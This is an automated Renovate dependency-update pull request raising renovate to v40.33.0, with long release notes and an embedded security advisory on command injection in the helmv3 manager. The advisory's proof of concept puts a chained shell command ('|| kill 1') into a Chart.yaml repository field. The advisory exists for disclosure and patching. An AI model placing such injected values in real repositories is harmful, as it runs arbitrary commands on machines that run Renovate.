chore(deps): update dependency renovate to v40 [security]

[renovate]

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package	Change	Age	Confidence
renovate (source)	32.17.1 → 40.33.0

GitHub Vulnerability Alerts

GHSA-3f44-xw83-3pmg

Summary

The user-provided string repository in the helmv3 manager is appended to the helm registry login command without proper sanitization.

Details

Adversaries can provide a maliciously crafted Chart.yaml in conjunctions with a tweaked Renovate configuration file to trick Renovate to execute arbitrary code.
The value for both uses of the repository variable in lib/modules/manager/helmv3/common.ts are not being escaped using the quote function from the shlex package.
This lack of proper sanitization has been present in the product since version 31.51.0 (renovatebot/renovate@f372a68), released on January 24 of 2022.

PoC

1. Create a git repo with the following content:

renovate.json5:

{
  $schema: "https://docs.renovatebot.com/renovate-schema.json",
  customDatasources: {
    always: {
      defaultRegistryUrlTemplate: "https://docs.renovatebot.com/search/search_index.json",
      transformTemplates: ['{"releases":[{"version":"99999.0.0"}]}'],
    },
  },
  // Register any credentials to make the manager attempt to use basic auth for the Helm registry
  hostRules: [
    {
      matchHost: "charts.bitnami.com",
      username: "un",
      password: "pw",
    },
  ],
  packageRules: [
    {
      // Target of the day
      matchManagers: ["helmv3"],
      // Don't consult the actual bitnami repo
      registryUrls: [],
      // But still, trick the manager in believing there's a new version
      overrideDatasource: "custom.always",
    },
  ],
}

Chart.yaml:

apiVersion: v2
name: renovate-aci-1
version: 0.0.1
dependencies:
  - name: redis
    version: 0.1.0
    repository: oci://charts.bitnami.com/bitnami || kill 1

Chart.lock:

dependencies:
- name: redis
  repository: oci://charts.bitnami.com/bitnami

2. Run Renovate against the repo from a Docker container. Notice that the process terminates without reporting "Repository finished", because the ACI vulnerability allowed for execution of kill 1, terminating the root process of the container.

Note

This specific proof of concept was made a lot simpler with the introduction of the overrideDatasource configuration since version 38.120.0 (renovatebot/renovate@a70a6a3), released on October 12 of 2024, because it means that there is no more need for a proper response from an actual Helm registry on the malformed repository URL.

Impact

This is a Arbitrary Command Injection vulnerability, allowing those with write access on repositories configured to be scanned by Renovate to cause the execution of commands of their choice on the machine that runs Renovate.

Severity

• CVSS Score: 6.7 / 10 (Medium)
• Vector String: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

---

Release Notes

renovatebot/renovate (renovate)

v40.33.0

Compare Source

Features

• presets: add react-spring monorepo (#​36177) (cfa0990)

Bug Fixes

• managers: quote more manager commands (#​36163) (59de985)

Documentation

• faq: add explanation of differences between depName and packageName (#​36063) (06d0e7c)

Miscellaneous Chores

• deps: update otel/opentelemetry-collector-contrib docker tag to v0.127.0 (main) (#​36183) (c3a6a73)

v40.32.7

Compare Source

Bug Fixes

• static repo config order and merge extends (#​36179) (c2d3401)

v40.32.6

Compare Source

Build System

• deps: update dependency zod to v3.25.7 (main) (#​36176) (89e3807)

v40.32.5

Compare Source

Build System

• deps: update dependency zod to v3.25.6 (main) (#​36175) (4e30420)

v40.32.4

Compare Source

Build System

• deps: update dependency zod to v3.25.5 (main) (#​36174) (8e8e379)

v40.32.3

Compare Source

Miscellaneous Chores

• deps: update dependency @​smithy/util-stream to v4.2.1 (main) (#​36173) (27bc989)
• deps: update vitest monorepo to v3.1.4 (main) (#​36171) (855a486)

Build System

• deps: update dependency zod to v3.25.4 (main) (#​36172) (4ae15d7)

v40.32.2

Compare Source

Build System

• deps: update dependency zod to v3.25.3 (main) (#​36170) (c39a25f)

v40.32.1

Compare Source

Bug Fixes

• git: use custom name for upstream (#​36149) (f90b4c5)

Build System

• deps: update dependency zod to v3.25.1 (main) (#​36161) (17ccefd)

v40.32.0

Compare Source

Features

• manager/asdf: support clusterctl (#​36157) (035a561)

Bug Fixes

• dashboard: don't show undefined being displayed (#​36132) (0619849)

v40.31.1

Compare Source

Bug Fixes

• deps: update ghcr.io/renovatebot/base-image docker tag to v9.70.7 (main) (#​36156) (fec7224)
• exec: pass CI env to child processes (#​36153) (49f1b00)
• helmv3: helm charts with lockfiles never gets automerged (#​35847) (85f3709)

Documentation

• update references to renovate/renovate (main) (#​36139) (fc1e7f4)

Miscellaneous Chores

• add warning about changing namespace meanings (#​36148) (0589b99)
• deps: update containerbase/internal-tools action to v3.10.40 (main) (#​36145) (f8fe197)
• deps: update dependency @​types/node to v22.15.19 (main) (#​36146) (f163892)
• deps: update ghcr.io/containerbase/devcontainer docker tag to v13.8.33 (main) (#​36138) (4427f61)

Build System

• deps: update opentelemetry-js monorepo to v0.201.1 (main) (#​36155) (84c32c7)

v40.31.0

Compare Source

Features

• Display abandoned packages (#​35868) (1aa2972)

Miscellaneous Chores

• deps: update dependency markdownlint-cli2 to v0.18.1 (main) (#​36003) (7aeef48)

v40.30.2

Compare Source

Bug Fixes

• versioning/pep440: apply prerelease markers (#​36083) (758e701)

v40.30.1

Compare Source

Bug Fixes

• deps: update ghcr.io/renovatebot/base-image docker tag to v9.70.5 (main) (#​36134) (f33ff65)

Miscellaneous Chores

• deps: update dependency eslint-import-resolver-typescript to v4.3.5 (main) (#​36131) (b55efa9)
• deps: update ghcr.io/containerbase/devcontainer docker tag to v13.8.31 (main) (#​36133) (a42de8f)

v40.30.0

Compare Source

Features

• manager: support mise backends (#​33113) (147fcde)

Documentation

• Update and convert lockfile list to table (#​36128) (adf7e23)

Miscellaneous Chores

• gitlab: debug log approveMr() function (#​36122) (c7051dc)

v40.29.1

Compare Source

Bug Fixes

• post-upgrade-tasks: retain deleted files after tasks (#​36125) (17326d6)

v40.29.0

Compare Source

Features

• cache: Experimental env var to disable HTTP memory cache (#​36124) (f478e1d)

v40.28.0

Compare Source

Features

• manager/npm: use volta pins as constraints (#​35869) (e122523)

v40.27.1

Compare Source

Bug Fixes

• manager/fleet: Make name optional for target customizations in FleetFile schema (#​36085) (90d8b7d)

v40.27.0

Compare Source

Features

• git: Support baseBranches in fork mode (#​36054) (9941197)

Documentation

• aws-eks-addon: add configuration snippet for sane commit/pr mes… (#​36111) (279ac5f)

v40.26.3

Compare Source

Bug Fixes

• deps: update ghcr.io/renovatebot/base-image docker tag to v9.70.4 (main) (#​36120) (2673514)

v40.26.2

Compare Source

Documentation

• mend: document the GitHub.com token in hosted apps (#​36110) (be6f0ad)

Miscellaneous Chores

• deps: update dependency @​vitest/eslint-plugin to v1.2.0 (main) (#​36112) (36a4683)
• deps: update linters to v9.27.0 (main) (#​36114) (95c24da)

Build System

• deps: update dependency semantic-release to v24.2.4 (main) (#​36116) (7ff2d41)

v40.26.1

Compare Source

Bug Fixes

• datasource/docker: fetch up to 1000 pages for ghcr.io (#​36103) (4d829bf)

v40.26.0

Compare Source

Features

• Abandoned packages logging (#​36090) (a02dd07)

Miscellaneous Chores

• deps: update python:3.13 docker digest to a4b2b11 (main) (#​36101) (08b4ebd)

v40.25.2

Compare Source

Bug Fixes

• deps: update ghcr.io/renovatebot/base-image docker tag to v9.70.3 (main) (#​36100) (1dffa07)

v40.25.1

Compare Source

Bug Fixes

• deps: update ghcr.io/renovatebot/base-image docker tag to v9.70.2 (main) (#​36099) (3e58761)

Miscellaneous Chores

• deps: update dependency pdm to v2.24.2 (main) (#​36097) (77ae47d)

v40.25.0

Compare Source

Features

• terraform: add support for docker_registry_image data source (#​35537) (6ba08ec)

Miscellaneous Chores

• deps: update python:3.13 docker digest to e3424ac (main) (#​36095) (53cdf3f)

v40.24.3

Compare Source

Bug Fixes

• deps: update ghcr.io/renovatebot/base-image docker tag to v9.70.1 (main) (#​36094) (dfa58c8)

v40.24.2

Compare Source

Miscellaneous Chores

• deps: update dependency memfs to v4.17.2 (main) (#​36092) (fc5bdce)

Build System

• deps: update opentelemetry-js-contrib monorepo (main) (#​36093) (9fedf9c)

v40.24.1

Compare Source

Build System

• deps: update opentelemetry-js monorepo (main) (#​36091) (8654651)

v40.24.0

Compare Source

Features

• deps: update ghcr.io/renovatebot/base-image docker tag to v9.70.0 (main) (#​36089) (c490cca)

Miscellaneous Chores

• deps: update python:3.13 docker digest to 3592650 (main) (#​36088) (5560c3e)

v40.23.2

Compare Source

Bug Fixes

• deps: update ghcr.io/renovatebot/base-image docker tag to v9.69.1 (main) (#​36087) (26c1550)

v40.23.1

Compare Source

Miscellaneous Chores

• deps: update dependency typescript-eslint to v8.32.1 (main) (#​36029) (c08f724)

Build System

• deps: update dependency yaml to v2.8.0 (main) (#​36081) (ce40ac4)

v40.23.0

Compare Source

Features

• Add abandonmentThreshold and detect isAbandoned flag (#​35866) (bc235fb)

v40.22.1

Compare Source

Bug Fixes

• helm: helm login should not use host path (#​36060) (aa96c20)

Miscellaneous Chores

• fix lint (#​36080) (711ad2d)

v40.22.0

Compare Source

Features

• deps: update ghcr.io/renovatebot/base-image docker tag to v9.69.0 (main) (#​36079) (937260d)

Miscellaneous Chores

• deps: update dependency node to v22.16.0 (main) (#​36077) (6cb7f9c)
• deps: update python:3.13 docker digest to 721b561 (main) (#​36076) (7b7c690)

v40.21.7

Compare Source

Bug Fixes

• gradle: include registryType and content during registry deduplication (#​36071) (5d4ae53)

v40.21.6

Compare Source

Bug Fixes

• deps: update ghcr.io/renovatebot/base-image docker tag to v9.68.3 (main) (#​36074) (a43b702)

v40.21.5

Compare Source

Build System

• deps: update dependency protobufjs to v7.5.2 (main) (#​36070) (5f6e523)

v40.21.4

Compare Source

Bug Fixes

• deps: update ghcr.io/renovatebot/base-image docker tag to v9.68.2 (main) (#​36068) (f6d0e88)

Miscellaneous Chores

• deps: update docker/dockerfile docker tag to v1.16.0 (main) (#​36067) (ba6dd3e)

Build System

• deps: update node.js to v22.16.0 (main) (#​36069) (98d9e8a)

v40.21.3

Compare Source

Bug Fixes

• datasource/pod: detect artifactory (#​36064) (6be1b03)

v40.21.2

Compare Source

Bug Fixes

• manager/nuget: deduplicate registryUrls (#​35995) (f8a0343)

v40.21.1

Compare Source

Bug Fixes

• gitlab: add missing createdAt to mapped PR (#​36058) (4341780)

Miscellaneous Chores

• deps: update dependency @​types/node to v22.15.18 (main) (#​36059) (d2b73dc)

v40.21.0

Compare Source

Features

• deps: update ghcr.io/renovatebot/base-image docker tag to v9.68.1 (main) (#​36055) (2f9efcd)

v40.20.0

Compare Source

Features

• deps: update ghcr.io/renovatebot/base-image docker tag to v9.67.0 (main) (#​36053) (388d318)

Miscellaneous Chores

• deps: update ghcr.io/containerbase/devcontainer docker tag to v13.8.29 (main) (#​36051) (f22dfb3)

v40.19.2

Compare Source

Bug Fixes

• manager/npm): Revert "fix(manager/npm: search for npmrc in the root directory" (#​36049) (0d7255e)

Miscellaneous Chores

• deps: update dependency pnpm to v10.11.0 (main) (#​36048) (ca43169)

v40.19.1

Compare Source

Bug Fixes

• git): Revert "feat(git: use git fetching for forkMode" (#​36045) (68b5193)

v40.19.0

Compare Source

Features

• presets: Add API platform group (#​36023) (2b92419)

Bug Fixes

• deps: update ghcr.io/renovatebot/base-image docker tag to v9.66.2 (main) (#​36041) (601ec93)

Miscellaneous Chores

• deps: update containerbase/internal-tools action to v3.10.39 (main) (#​36039) (b51aae9)
• deps: update ghcr.io/containerbase/devcontainer docker tag to v13.8.28 (main) (#​36038) (7d56785)

v40.18.3

Compare Source

Bug Fixes

• manager/flux: log resource name for better debugging (#​35994) (a84eb22)

v40.18.2

Compare Source

Bug Fixes

• deps: update ghcr.io/renovatebot/base-image docker tag to v9.66.1 (main) (#​36037) (5190613)

v40.18.1

Compare Source

Build System

• deps: update dependency openpgp to v6.1.1 [security] (main) (#​36033) (7b4a15b)

v40.18.0

Compare Source

Features

• deps: update ghcr.io/renovatebot/base-image docker tag to v9.66.0 (main) (#​36031) (61b7887)

v40.17.1

Compare Source

Build System

• deps: update dependency semver to v7.7.2 (main) (#​36028) (29de7b9)

v40.17.0

Compare Source

Features

• git: use git fetching for forkMode (#​36024) (4e12e52)

v40.16.0

Compare Source

Features

• presets: add pnpcore monorepo (#​36020) (21ab01d)

v40.15.0

Compare Source

Features

• cache: Use repository cache instead of memory cache for GitHub presets (#​35999) (74a3fcb)

Documentation

• update references to renovate/renovate (main) (#​36011) (6c9535a)

Miscellaneous Chores

• deps: lock file maintenance (main) (#​36012) (4383a0e)
• deps: update containerbase/internal-tools action to v3.10.38 (main) (#​36013) (1afec3a)
• deps: update dependency renovatebot/github-action to v42.0.3 (main) (#​36015) (f46f9c6)

v40.14.6

Compare Source

Bug Fixes

• Remove callsite tracking from ObsoleteCacheHitLogger (#​36008) (78b0478)

v40.14.5

Compare Source

Build System

• deps: update dependency re2 to v1.21.5 (main) (#​36007) (215bbc3)

v40.14.4

Compare Source

Bug Fixes

• don't exclude deprecated currentVersion exact match (#​35790) (2d9340f)
• manager/composer: update default registry url. (#​36002) (3206e43)

Documentation

• Delete docs/usage/release-notes-for-major-versions.md (#​35788) (1951d7c)

Miscellaneous Chores

• deps: update containerbase/internal-tools action to v3.10.36 (main) (#​36001) (9da2ec0)

v40.14.3

Compare Source

Bug Fixes

• manager/npm: search for npmrc in the root directory (#​35927) (17c0041)

v40.14.2

Compare Source

Bug Fixes

• deps: update ghcr.io/renovatebot/base-image docker tag to v9.65.2 (main) (#​36000) (86e66b1)
• git: handle tag/branch collision (#​35998) (68fd127)

Code Refactoring

• workers: enhance some fns (#​35941) (b06ef83)

v40.14.1

Compare Source

Bug Fixes

• manager/terraform: support subpath module for git-tags ref (#​35978) (c841ea1)

Miscellaneous Chores

• deps: update prom/prometheus docker tag to v3.4.0 (main) (#​35992) (d7d9b4b)

v40.14.0

Compare Source

Features

• manager/mise: support astro, ccache and redis (#​35989) (f187692)

v40.13.1

Compare Source

Bug Fixes

• deps: update ghcr.io/renovatebot/base-image docker tag to v9.65.1 (main) (#​35990) (941ea58)

Miscellaneous Chores

• deps: update dependency @​semantic-release/exec to v7.1.0 (main) (#​35988) (3c78745)
• deps: update dependency eslint-config-prettier to v10.1.5 (main) (#​35972) (96ecbe7)
• deps: update github/codeql-action action to v3.28.18 (main) (#​35981) (4cf8139)

v40.13.0

Compare Source

Features

• deps: update ghcr.io/renovatebot/base-image docker tag to v9.65.0 (main) (#​35971) (bb3b1fb)

v40.12.4

Compare Source

Bug Fixes

• deps: update ghcr.io/renovatebot/base-image docker tag to v9.64.16 (main) (#​35970) (a496bd3)

v40.12.3

Compare Source

Miscellaneous Chores

• deps: update codecov/codecov-action action to v5.4.3 (main) (#​35968) (b7cc7d6)

Build System

• deps: update dependency cronstrue to v2.61.0 (main) (#​35969) (9aa0ae4)

v40.12.2

Compare Source

Bug Fixes

• deps: update ghcr.io/renovatebot/base-image docker tag to v9.64.15 (main) (#​35966) (a4c0609)

Miscellaneous Chores

• deps: update ghcr.io/containerbase/devcontainer docker tag to v13.8.27 (main) (#​35967) (0aa05ba)

v40.12.1

Compare Source

Build System

• deps: update dependency protobufjs to v7.5.1 (main) (#​35965) (efdbf22)

v40.12.0

Compare Source

Features

• presets: add 'pdfme' monorepo (#​35958) (f12ec90)

Bug Fixes

• datasource/docker: ignore unknown sub-manifests in OciImageIndexManifest (#​35950) (d8fdc4f)

Documentation

• fix how-renovate-works.md display newline as \n (#​35959) (ed77dd5)

Miscellaneous Chores

• deps: update dependency @​types/node to v22.15.17 (main) (#​35960) (0c371bf)

v40.11.19

Compare Source

Bug Fixes

• deps: update ghcr.io/renovatebot/base-image docker tag to v9.64.14 (main) (#​35952) (214d758)

Miscellaneous Chores

• deps: update dependency node to v22.15.1 (main) (#​35944) (dacbade)

Build System

• deps: update dependency redis to v4.7.1 (main) (#​35951) (5bc5979)

v40.11.18

Compare Source

Miscellaneous Chores

• deps: update dependency @​types/node to v22.15.16 (main) (#​35942) (0435a2a)
• deps: update python:3.13 docker digest to 653b0cf (main) (#​35940) (0b58ec4)

Build System

• deps: update dependency better-sqlite3 to v11.10.0 (main) (#​35943) (5610c07)

v40.11.17

Compare Source

Documentation

• config options: capitalize proper noun Handlebars (#​35887) (77ea652)

Build System

• deps: update node.js to v22.15.1 (main) (#​35939) (e707b91)

v40.11.16

Compare Source

Miscellaneous Chores

• deps: update dependency @​types/node to v22.15.15 (main) (#​35937) (9c80dbd)

Build System

• deps: update dependency @​opentelemetry/semantic-conventions to v1.33.0 (main) (#​35938) (e1c2422)

v40.11.15

Compare Source

Bug Fixes

• deps: update ghcr.io/renovatebot/base-image docker tag to v9.64.13 (main) (#​35934) (56e8b7f)

Miscellaneous Chores

• deps: update dependency eslint-config-prettier to v10.1.3 (main) (#​35929) (fe4abd8)

v40.11.14

Compare Source

Bug Fixes

• deps: update ghcr.io/renovatebot/base-image docker tag to v9.64.12 (main) (#​35928) (6a65156)

Miscellaneous Chores

• deps: update actions/dependency-review-action action to v4.7.1 (main) (#​35921) (8f3f113)
• deps: update dependency @​types/node to v22.15.13 (main) ([#​35922](https://redirect.github.com/renovatebot/renovate/issues/3592

---

Configuration

📅 Schedule: (UTC)

• Branch creation
  • ""
• Automerge
  • At any time (no schedule defined)

🚦 Automerge: Enabled.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

---

• If you want to rebase/retry this PR, check this box

---

This PR was generated by Mend Renovate. View the repository job log.